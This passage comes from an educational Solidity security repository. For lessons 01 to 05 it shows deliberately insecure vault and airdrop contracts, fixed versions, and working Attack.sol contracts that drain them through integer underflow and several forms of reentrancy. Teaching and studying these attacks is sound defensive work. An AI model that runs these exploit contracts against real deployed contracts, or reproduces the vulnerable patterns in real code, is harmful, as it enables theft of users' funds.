├── .gitignore
├── 01_integer_underflow
├── Attack.sol
├── Dependencies.sol
├── FixedEtherVault.sol
├── InsecureEtherVault.sol
└── README.md
├── 02_reentrancy
├── Attack.sol
├── FixedEtherVault.sol
├── InsecureEtherVault.sol
└── README.md
├── 03_reentrancy_via_modifier
├── Attack.sol
├── Dependencies.sol
├── FixedAirdrop.sol
├── InsecureAirdrop.sol
└── README.md
├── 04_cross_function_reentrancy
├── Attack.sol
├── Dependencies.sol
├── FixedEtherVault.sol
├── InsecureEtherVault.sol
└── README.md
├── 05_cross_contract_reentrancy
├── Attack.sol
├── Dependencies.sol
├── FixedMoonVault.sol
├── InsecureMoonVault.sol
└── README.md
├── 06_integer_overflow
├── Attack.sol
├── FixedMoonToken.sol
├── InsecureMoonToken.sol
└── README.md
├── 07_phishing_with_improper_authorization
├── FixedDonation.sol
├── InsecureDonation.sol
├── PhishingAttack.sol
└── README.md
├── 08_unexpected_ether_with_forcibly_sending_ether
├── Attack.sol
├── FixedMoonToken.sol
├── InsecureMoonToken.sol
└── README.md
├── 09_denial_of_service_with_revert
├── Attack.sol
├── Dependencies.sol
├── FixedWinnerTakesItAll.sol
├── InsecureWinnerTakesItAll.sol
└── README.md
├── 10_denial_of_service_with_gas_limit
├── Attack.sol
├── FixedNaiveBank.sol
├── InsecureNaiveBank.sol
└── README.md
├── 11_denial_of_service_with_induction_variable_overflow
├── FixedSimpleAirdrop.sol
├── IssueSimulation.sol
├── README.md
└── VulnerableSimpleAirdrop.sol
├── 12_amplification_attack__double_spending_01
├── Attack.sol
├── Dependencies.sol
├── FixedMoonDAOVote.sol
├── InsecureMoonDAOVote.sol
└── README.md
├── 13_double_spending_02
├── Attack.sol
├── FixedNaiveBank.sol
├── InsecureNaiveBank.sol
└── README.md
├── LICENSE
└── README.md
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 |
--------------------------------------------------------------------------------
/01_integer_underflow/Attack.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-01-integer-underflow-c1147c2e507b
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-01-integer-underflow/
10 |
11 | pragma solidity 0.6.12;
12 |
13 | interface IEtherVault {
14 | function withdraw(uint256 _amount) external;
15 | function getEtherBalance() external view returns (uint256);
16 | }
17 |
18 | contract Attack {
19 | IEtherVault public immutable etherVault;
20 |
21 | constructor(IEtherVault _etherVault) public {
22 | etherVault = _etherVault;
23 | }
24 |
25 | receive() external payable {}
26 |
27 | function attack() external {
28 | etherVault.withdraw(etherVault.getEtherBalance());
29 | }
30 |
31 | function getEtherBalance() external view returns (uint256) {
32 | return address(this).balance;
33 | }
34 | }
--------------------------------------------------------------------------------
/01_integer_underflow/Dependencies.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-01-integer-underflow-c1147c2e507b
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-01-integer-underflow/
10 |
11 | pragma solidity 0.6.12;
12 |
13 | abstract contract ReentrancyGuard {
14 | bool internal locked;
15 |
16 | modifier noReentrant() {
17 | require(!locked, "No re-entrancy");
18 | locked = true;
19 | _;
20 | locked = false;
21 | }
22 | }
--------------------------------------------------------------------------------
/01_integer_underflow/FixedEtherVault.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-01-integer-underflow-c1147c2e507b
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-01-integer-underflow/
10 |
11 | pragma solidity 0.6.12;
12 |
13 | import "./Dependencies.sol";
14 |
15 | // Simplified SafeMath
16 | library SafeMath {
17 | function add(uint256 a, uint256 b) internal pure returns (uint256) {
18 | uint256 c = a + b;
19 | require(c >= a, "SafeMath: addition overflow");
20 |
21 | return c;
22 | }
23 |
24 | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
25 | require(b <= a, "SafeMath: subtraction overflow");
26 | uint256 c = a - b;
27 |
28 | return c;
29 | }
30 | }
31 |
32 | contract FixedEtherVault is ReentrancyGuard {
33 | using SafeMath for uint256;
34 |
35 | mapping (address => uint256) private userBalances;
36 |
37 | function deposit() external payable {
38 | userBalances[msg.sender] = userBalances[msg.sender].add(msg.value); // FIX: Apply SafeMath
39 | }
40 |
41 | function withdraw(uint256 _amount) external noReentrant {
42 | uint256 balance = getUserBalance(msg.sender);
43 | require(balance.sub(_amount) >= 0, "Insufficient balance"); // FIX: Apply SafeMath
44 |
45 | userBalances[msg.sender] = userBalances[msg.sender].sub(_amount); // FIX: Apply SafeMath
46 |
47 | (bool success, ) = msg.sender.call{value: _amount}("");
48 | require(success, "Failed to send Ether");
49 | }
50 |
51 | function getEtherBalance() external view returns (uint256) {
52 | return address(this).balance;
53 | }
54 |
55 | function getUserBalance(address _user) public view returns (uint256) {
56 | return userBalances[_user];
57 | }
58 | }
--------------------------------------------------------------------------------
/01_integer_underflow/InsecureEtherVault.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-01-integer-underflow-c1147c2e507b
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-01-integer-underflow/
10 |
11 | pragma solidity 0.6.12;
12 |
13 | import "./Dependencies.sol";
14 |
15 | contract InsecureEtherVault is ReentrancyGuard {
16 | mapping (address => uint256) private userBalances;
17 |
18 | function deposit() external payable {
19 | userBalances[msg.sender] += msg.value;
20 | }
21 |
22 | function withdraw(uint256 _amount) external noReentrant {
23 | uint256 balance = getUserBalance(msg.sender);
24 | require(balance - _amount >= 0, "Insufficient balance");
25 |
26 | userBalances[msg.sender] -= _amount;
27 |
28 | (bool success, ) = msg.sender.call{value: _amount}("");
29 | require(success, "Failed to send Ether");
30 | }
31 |
32 | function getEtherBalance() external view returns (uint256) {
33 | return address(this).balance;
34 | }
35 |
36 | function getUserBalance(address _user) public view returns (uint256) {
37 | return userBalances[_user];
38 | }
39 | }
--------------------------------------------------------------------------------
/01_integer_underflow/README.md:
--------------------------------------------------------------------------------
1 | # 01. Integer Underflow
2 |
3 | For more info, please refer to my article:
4 |
5 | | Vulnerability Issue | Article Links |
6 | | --- | --- |
7 | | [Integer Underflow]() | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-01-integer-underflow-c1147c2e507b)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-01-integer-underflow/) |
--------------------------------------------------------------------------------
/02_reentrancy/Attack.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-02-reentrancy-b0c08cfcd555
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-02-reentrancy/
10 |
11 | pragma solidity 0.8.13;
12 |
13 | interface IEtherVault {
14 | function deposit() external payable;
15 | function withdrawAll() external;
16 | }
17 |
18 | contract Attack {
19 | IEtherVault public immutable etherVault;
20 |
21 | constructor(IEtherVault _etherVault) {
22 | etherVault = _etherVault;
23 | }
24 |
25 | receive() external payable {
26 | if (address(etherVault).balance >= 1 ether) {
27 | etherVault.withdrawAll();
28 | }
29 | }
30 |
31 | function attack() external payable {
32 | require(msg.value == 1 ether, "Require 1 Ether to attack");
33 | etherVault.deposit{value: 1 ether}();
34 | etherVault.withdrawAll();
35 | }
36 |
37 | function getBalance() external view returns (uint256) {
38 | return address(this).balance;
39 | }
40 | }
--------------------------------------------------------------------------------
/02_reentrancy/FixedEtherVault.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-02-reentrancy-b0c08cfcd555
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-02-reentrancy/
10 |
11 | pragma solidity 0.8.13;
12 |
13 | abstract contract ReentrancyGuard {
14 | bool internal locked;
15 |
16 | modifier noReentrant() {
17 | require(!locked, "No re-entrancy");
18 | locked = true;
19 | _;
20 | locked = false;
21 | }
22 | }
23 |
24 | contract FixedEtherVault is ReentrancyGuard {
25 | mapping (address => uint256) private userBalances;
26 |
27 | function deposit() external payable {
28 | userBalances[msg.sender] += msg.value;
29 | }
30 |
31 | function withdrawAll() external noReentrant { // FIX: Apply mutex lock
32 | uint256 balance = getUserBalance(msg.sender);
33 | require(balance > 0, "Insufficient balance"); // Check
34 |
35 | // FIX: Apply checks-effects-interactions pattern
36 | userBalances[msg.sender] = 0; // Effect
37 |
38 | (bool success, ) = msg.sender.call{value: balance}(""); // Interaction
39 | require(success, "Failed to send Ether");
40 | }
41 |
42 | function getBalance() external view returns (uint256) {
43 | return address(this).balance;
44 | }
45 |
46 | function getUserBalance(address _user) public view returns (uint256) {
47 | return userBalances[_user];
48 | }
49 | }
--------------------------------------------------------------------------------
/02_reentrancy/InsecureEtherVault.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-02-reentrancy-b0c08cfcd555
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-02-reentrancy/
10 |
11 | pragma solidity 0.8.13;
12 |
13 | contract InsecureEtherVault {
14 | mapping (address => uint256) private userBalances;
15 |
16 | function deposit() external payable {
17 | userBalances[msg.sender] += msg.value;
18 | }
19 |
20 | function withdrawAll() external {
21 | uint256 balance = getUserBalance(msg.sender);
22 | require(balance > 0, "Insufficient balance");
23 |
24 | (bool success, ) = msg.sender.call{value: balance}("");
25 | require(success, "Failed to send Ether");
26 |
27 | userBalances[msg.sender] = 0;
28 | }
29 |
30 | function getBalance() external view returns (uint256) {
31 | return address(this).balance;
32 | }
33 |
34 | function getUserBalance(address _user) public view returns (uint256) {
35 | return userBalances[_user];
36 | }
37 | }
--------------------------------------------------------------------------------
/02_reentrancy/README.md:
--------------------------------------------------------------------------------
1 | # 02. Reentrancy
2 |
3 | For more info, please refer to my article:
4 |
5 | | Vulnerability Issue | Article Links |
6 | | --- | --- |
7 | | [Reentrancy]() | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-02-reentrancy-b0c08cfcd555)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-02-reentrancy/) |
--------------------------------------------------------------------------------
/03_reentrancy_via_modifier/Attack.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier-fba6b1d8ff81
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier/
10 |
11 | pragma solidity 0.8.13;
12 |
13 | import "./Dependencies.sol";
14 |
15 | interface IAirdrop {
16 | function receiveAirdrop() external;
17 | function getUserBalance(address _user) external view returns (uint256);
18 | }
19 |
20 | contract Attack is IAirdropReceiver {
21 | IAirdrop public immutable airdrop;
22 |
23 | uint256 public xTimes;
24 | uint256 public xCount;
25 |
26 | constructor(IAirdrop _airdrop) {
27 | airdrop = _airdrop;
28 | }
29 |
30 | function canReceiveAirdrop() external override returns (bool) {
31 | if (xCount < xTimes) {
32 | xCount++;
33 | airdrop.receiveAirdrop();
34 | }
35 | return true;
36 | }
37 |
38 | function attack(uint256 _xTimes) external {
39 | xTimes = _xTimes;
40 | xCount = 1;
41 |
42 | airdrop.receiveAirdrop();
43 | }
44 |
45 | function getBalance() external view returns (uint256) {
46 | return airdrop.getUserBalance(address(this));
47 | }
48 | }
--------------------------------------------------------------------------------
/03_reentrancy_via_modifier/Dependencies.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier-fba6b1d8ff81
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier/
10 |
11 | pragma solidity 0.8.13;
12 |
13 | interface IAirdropReceiver {
14 | function canReceiveAirdrop() external returns (bool);
15 | }
--------------------------------------------------------------------------------
/03_reentrancy_via_modifier/FixedAirdrop.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier-fba6b1d8ff81
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier/
10 |
11 | pragma solidity 0.8.13;
12 |
13 | import "./Dependencies.sol";
14 |
15 | abstract contract ReentrancyGuard {
16 | bool internal locked;
17 |
18 | modifier noReentrant() {
19 | require(!locked, "No re-entrancy");
20 | locked = true;
21 | _;
22 | locked = false;
23 | }
24 | }
25 |
26 | contract FixedAirdrop is ReentrancyGuard {
27 | mapping (address => uint256) private userBalances;
28 | mapping (address => bool) private receivedAirdrops;
29 |
30 | uint256 public immutable airdropAmount;
31 |
32 | constructor(uint256 _airdropAmount) {
33 | airdropAmount = _airdropAmount;
34 | }
35 |
36 | // FIX: 1. Apply mutex lock (noReentrant) as the first modifier
37 | // FIX: 2. Call canReceiveAirdrop before neverReceiveAirdrop
38 | function receiveAirdrop() external noReentrant canReceiveAirdrop neverReceiveAirdrop {
39 | // Mint Airdrop
40 | userBalances[msg.sender] += airdropAmount;
41 | receivedAirdrops[msg.sender] = true;
42 | }
43 |
44 | modifier neverReceiveAirdrop {
45 | require(!receivedAirdrops[msg.sender], "You already received an Airdrop");
46 | _;
47 | }
48 |
49 | // In this example, the _isContract() function is used for checking
50 | // an airdrop compatibility only, not checking for any security aspects
51 | function _isContract(address _account) internal view returns (bool) {
52 | // It is unsafe to assume that an address for which this function returns
53 | // false is an externally-owned account (EOA) and not a contract
54 | uint256 size;
55 | assembly {
56 | // There is a contract size check bypass issue
57 | // But, it is not the scope of this example though
58 | size := extcodesize(_account)
59 | }
60 | return size > 0;
61 | }
62 |
63 | modifier canReceiveAirdrop() {
64 | // If the caller is a smart contract, check if it can receive an airdrop
65 | if (_isContract(msg.sender)) {
66 | // In this example, the _isContract() function is used for checking
67 | // an airdrop compatibility only, not checking for any security aspects
68 | require(
69 | IAirdropReceiver(msg.sender).canReceiveAirdrop(),
70 | "Receiver cannot receive an airdrop"
71 | );
72 | }
73 | _;
74 | }
75 |
76 | function getUserBalance(address _user) external view returns (uint256) {
77 | return userBalances[_user];
78 | }
79 |
80 | function hasReceivedAirdrop(address _user) external view returns (bool) {
81 | return receivedAirdrops[_user];
82 | }
83 | }
--------------------------------------------------------------------------------
/03_reentrancy_via_modifier/InsecureAirdrop.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier-fba6b1d8ff81
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier/
10 |
11 | pragma solidity 0.8.13;
12 |
13 | import "./Dependencies.sol";
14 |
15 | contract InsecureAirdrop {
16 | mapping (address => uint256) private userBalances;
17 | mapping (address => bool) private receivedAirdrops;
18 |
19 | uint256 public immutable airdropAmount;
20 |
21 | constructor(uint256 _airdropAmount) {
22 | airdropAmount = _airdropAmount;
23 | }
24 |
25 | function receiveAirdrop() external neverReceiveAirdrop canReceiveAirdrop {
26 | // Mint Airdrop
27 | userBalances[msg.sender] += airdropAmount;
28 | receivedAirdrops[msg.sender] = true;
29 | }
30 |
31 | modifier neverReceiveAirdrop {
32 | require(!receivedAirdrops[msg.sender], "You already received an Airdrop");
33 | _;
34 | }
35 |
36 | // In this example, the _isContract() function is used for checking
37 | // an airdrop compatibility only, not checking for any security aspects
38 | function _isContract(address _account) internal view returns (bool) {
39 | // It is unsafe to assume that an address for which this function returns
40 | // false is an externally-owned account (EOA) and not a contract
41 | uint256 size;
42 | assembly {
43 | // There is a contract size check bypass issue
44 | // But, it is not the scope of this example though
45 | size := extcodesize(_account)
46 | }
47 | return size > 0;
48 | }
49 |
50 | modifier canReceiveAirdrop() {
51 | // If the caller is a smart contract, check if it can receive an airdrop
52 | if (_isContract(msg.sender)) {
53 | // In this example, the _isContract() function is used for checking
54 | // an airdrop compatibility only, not checking for any security aspects
55 | require(
56 | IAirdropReceiver(msg.sender).canReceiveAirdrop(),
57 | "Receiver cannot receive an airdrop"
58 | );
59 | }
60 | _;
61 | }
62 |
63 | function getUserBalance(address _user) external view returns (uint256) {
64 | return userBalances[_user];
65 | }
66 |
67 | function hasReceivedAirdrop(address _user) external view returns (bool) {
68 | return receivedAirdrops[_user];
69 | }
70 | }
--------------------------------------------------------------------------------
/03_reentrancy_via_modifier/README.md:
--------------------------------------------------------------------------------
1 | # 03. Reentrancy via Modifier
2 |
3 | For more info, please refer to my article:
4 |
5 | | Vulnerability Issue | Article Links |
6 | | --- | --- |
7 | | [Reentrancy via Modifier]() | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier-fba6b1d8ff81)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-03-reentrancy-via-modifier/) |
--------------------------------------------------------------------------------
/04_cross_function_reentrancy/Attack.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-04-cross-function-reentrancy-de9cbce0558e
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-04-cross-function-reentrancy/
10 |
11 | pragma solidity 0.8.13;
12 |
13 | interface IEtherVault {
14 | function deposit() external payable;
15 | function transfer(address _to, uint256 _amount) external;
16 | function withdrawAll() external;
17 | function getUserBalance(address _user) external view returns (uint256);
18 | }
19 |
20 | contract Attack {
21 | IEtherVault public immutable etherVault;
22 | Attack public attackPeer;
23 |
24 | constructor(IEtherVault _etherVault) {
25 | etherVault = _etherVault;
26 | }
27 |
28 | function setAttackPeer(Attack _attackPeer) external {
29 | attackPeer = _attackPeer;
30 | }
31 |
32 | receive() external payable {
33 | if (address(etherVault).balance >= 1 ether) {
34 | etherVault.transfer(
35 | address(attackPeer),
36 | etherVault.getUserBalance(address(this))
37 | );
38 | }
39 | }
40 |
41 | function attackInit() external payable {
42 | require(msg.value == 1 ether, "Require 1 Ether to attack");
43 | etherVault.deposit{value: 1 ether}();
44 | etherVault.withdrawAll();
45 | }
46 |
47 | function attackNext() external {
48 | etherVault.withdrawAll();
49 | }
50 |
51 | function getBalance() external view returns (uint256) {
52 | return address(this).balance;
53 | }
54 | }
--------------------------------------------------------------------------------
/04_cross_function_reentrancy/Dependencies.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-04-cross-function-reentrancy-de9cbce0558e
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-04-cross-function-reentrancy/
10 |
11 | pragma solidity 0.8.13;
12 |
13 | abstract contract ReentrancyGuard {
14 | bool internal locked;
15 |
16 | modifier noReentrant() {
17 | require(!locked, "No re-entrancy");
18 | locked = true;
19 | _;
20 | locked = false;
21 | }
22 | }
--------------------------------------------------------------------------------
/04_cross_function_reentrancy/FixedEtherVault.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-04-cross-function-reentrancy-de9cbce0558e
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-04-cross-function-reentrancy/
10 |
11 | pragma solidity 0.8.13;
12 |
13 | import "./Dependencies.sol";
14 |
15 | contract FixedEtherVault is ReentrancyGuard {
16 | mapping (address => uint256) private userBalances;
17 |
18 | function deposit() external payable {
19 | userBalances[msg.sender] += msg.value;
20 | }
21 |
22 | function transfer(address _to, uint256 _amount) external {
23 | if (userBalances[msg.sender] >= _amount) {
24 | userBalances[_to] += _amount;
25 | userBalances[msg.sender] -= _amount;
26 | }
27 | }
28 |
29 | function withdrawAll() external noReentrant { // Apply the noReentrant modifier
30 | uint256 balance = getUserBalance(msg.sender);
31 | require(balance > 0, "Insufficient balance"); // Check
32 |
33 | // FIX: Apply checks-effects-interactions pattern
34 | userBalances[msg.sender] = 0; // Effect
35 |
36 | (bool success, ) = msg.sender.call{value: balance}(""); // Interaction
37 | require(success, "Failed to send Ether");
38 | }
39 |
40 | function getBalance() external view returns (uint256) {
41 | return address(this).balance;
42 | }
43 |
44 | function getUserBalance(address _user) public view returns (uint256) {
45 | return userBalances[_user];
46 | }
47 | }
--------------------------------------------------------------------------------
/04_cross_function_reentrancy/InsecureEtherVault.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-04-cross-function-reentrancy-de9cbce0558e
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-04-cross-function-reentrancy/
10 |
11 | pragma solidity 0.8.13;
12 |
13 | import "./Dependencies.sol";
14 |
15 | contract InsecureEtherVault is ReentrancyGuard {
16 | mapping (address => uint256) private userBalances;
17 |
18 | function deposit() external payable {
19 | userBalances[msg.sender] += msg.value;
20 | }
21 |
22 | function transfer(address _to, uint256 _amount) external {
23 | if (userBalances[msg.sender] >= _amount) {
24 | userBalances[_to] += _amount;
25 | userBalances[msg.sender] -= _amount;
26 | }
27 | }
28 |
29 | function withdrawAll() external noReentrant { // Apply the noReentrant modifier
30 | uint256 balance = getUserBalance(msg.sender);
31 | require(balance > 0, "Insufficient balance");
32 |
33 | (bool success, ) = msg.sender.call{value: balance}("");
34 | require(success, "Failed to send Ether");
35 |
36 | userBalances[msg.sender] = 0;
37 | }
38 |
39 | function getBalance() external view returns (uint256) {
40 | return address(this).balance;
41 | }
42 |
43 | function getUserBalance(address _user) public view returns (uint256) {
44 | return userBalances[_user];
45 | }
46 | }
--------------------------------------------------------------------------------
/04_cross_function_reentrancy/README.md:
--------------------------------------------------------------------------------
1 | # 04. Cross-Function Reentrancy
2 |
3 | For more info, please refer to my article:
4 |
5 | | Vulnerability Issue | Article Links |
6 | | --- | --- |
7 | | [Cross-Function Reentrancy]() | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-04-cross-function-reentrancy-de9cbce0558e)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-04-cross-function-reentrancy/) |
--------------------------------------------------------------------------------
/05_cross_contract_reentrancy/Attack.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy-30f29e2a01b9
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy/
10 |
11 | pragma solidity 0.8.17;
12 |
13 | import "./Dependencies.sol";
14 |
15 | interface IMoonVault {
16 | function deposit() external payable;
17 | function withdrawAll() external;
18 | function getUserBalance(address _user) external view returns (uint256);
19 | }
20 |
21 | contract Attack {
22 | IMoonToken public immutable moonToken;
23 | IMoonVault public immutable moonVault;
24 | Attack public attackPeer;
25 |
26 | constructor(IMoonToken _moonToken, IMoonVault _insecureMoonVault) {
27 | moonToken = _moonToken;
28 | moonVault = _insecureMoonVault;
29 | }
30 |
31 | function setAttackPeer(Attack _attackPeer) external {
32 | attackPeer = _attackPeer;
33 | }
34 |
35 | receive() external payable {
36 | if (address(moonVault).balance >= 1 ether) {
37 | moonToken.transfer(
38 | address(attackPeer),
39 | moonVault.getUserBalance(address(this))
40 | );
41 | }
42 | }
43 |
44 | function attackInit() external payable {
45 | require(msg.value == 1 ether, "Require 1 Ether to attack");
46 | moonVault.deposit{value: 1 ether}();
47 | moonVault.withdrawAll();
48 | }
49 |
50 | function attackNext() external {
51 | moonVault.withdrawAll();
52 | }
53 |
54 | function getBalance() external view returns (uint256) {
55 | return address(this).balance;
56 | }
57 | }
--------------------------------------------------------------------------------
/05_cross_contract_reentrancy/Dependencies.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy-30f29e2a01b9
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy/
10 |
11 | pragma solidity 0.8.17;
12 |
13 | abstract contract ReentrancyGuard {
14 | bool internal locked;
15 |
16 | modifier noReentrant() {
17 | require(!locked, "No re-entrancy");
18 | locked = true;
19 | _;
20 | locked = false;
21 | }
22 | }
